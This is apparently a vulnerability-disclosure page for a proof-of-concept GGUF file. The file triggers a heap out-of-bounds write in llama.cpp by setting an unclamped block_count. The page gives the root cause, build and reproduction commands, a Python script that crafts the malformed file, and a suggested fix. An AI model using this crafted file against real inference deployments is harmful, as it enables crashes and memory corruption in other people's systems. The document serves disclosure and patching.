PoC β€” llama.cpp GGUF block_count heap out-of-bounds write (CWE-787)

This is a security proof-of-concept model file for a huntr Model File Vulnerability (MFV) disclosure. It is NOT a usable model. poc.gguf is a 180-byte malformed GGUF that crashes llama.cpp on load. It contains no weights and no code payload β€” the trigger is a single out-of-range metadata value.

  • Target: ggml-org/llama.cpp (GGUF format)
  • Type: CWE-787 Out-of-bounds Write (heap), reachable on default model load
  • Impact: out-of-bounds heap write during llama_model_load of an attacker-supplied .gguf β€” reliable crash / memory corruption, no flags, no auth.

Root cause

A GGUF file may set block_count to any 32-bit value. llama.cpp copies it into hparams.n_layer_all with no upper-bound check (src/llama-model.cpp, ml.get_key(LLM_KV_BLOCK_COUNT, hparams.n_layer_all)). For any architecture that builds a sliding-window pattern (18 archs, e.g. gemma2), set_swa_pattern then loops for (il = 0; il < n_layer_all; ++il) is_swa_impl[il] = ... where is_swa_impl is a fixed std::array<uint32_t, LLAMA_MAX_LAYERS = 512> (src/llama-hparams.h). With block_count > 512 this writes out of bounds.

This PoC omits attention.head_count / feed_forward_length, which bypasses the get_key_or_arr n > N_MAX cap (that path early-returns on a missing optional key before the cap).

Reproduce

git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
cmake -B build -DCMAKE_BUILD_TYPE=Debug -DGGML_SANITIZE_ADDRESS=ON -DLLAMA_CURL=OFF
cmake --build build --target llama-cli -j
ASAN_OPTIONS=detect_leaks=0 ./build/bin/llama-cli -m poc.gguf -p hi -n 1 --no-warmup

Expected (AddressSanitizer):

ERROR: AddressSanitizer: SEGV ... WRITE memory access
    #0 llama_hparams::set_swa_pattern   src/llama-hparams.cpp
    #1 llama_model_gemma2::load_arch_hparams  src/models/gemma2.cpp
    #2 llama_model_base::load_hparams   src/llama-model.cpp
    ... llama_model_load_from_file

Negative control: rebuild the file with block_count = 512 β†’ no overflow (writes stay in-bounds). Extent is attacker-controlled: (block_count - 512) * 4 bytes past the array (verified 352 / 752 / 1152 bytes for block_count 600 / 700 / 800 via a gdb watchpoint).

How poc.gguf was made

from gguf import GGUFWriter
w = GGUFWriter('poc.gguf', 'gemma2')
w.add_uint32('gemma2.block_count', 100000)   # -> n_layer_all, unclamped
w.add_uint32('gemma2.context_length', 2048)
w.add_uint32('gemma2.embedding_length', 64)
# head_count / feed_forward_length omitted (bypasses the N_MAX cap)
w.write_header_to_file(); w.write_kv_data_to_file(); w.close()

Suggested fix

Clamp after reading block_count: if (hparams.n_layer_all > LLAMA_MAX_LAYERS) throw ...; (or clamp the loop bounds in set_swa_pattern / set_recr_pattern). A related second sink exists in the WavTokenizer decoder (posnet/convnext.block_count indexing layers[i]) and needs its own bound.

Downloads last month
-
GGUF
Model size
0 params
Architecture
gemma2
Hardware compatibility
Log In to add your hardware

We're not able to determine the quantization variants.

Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support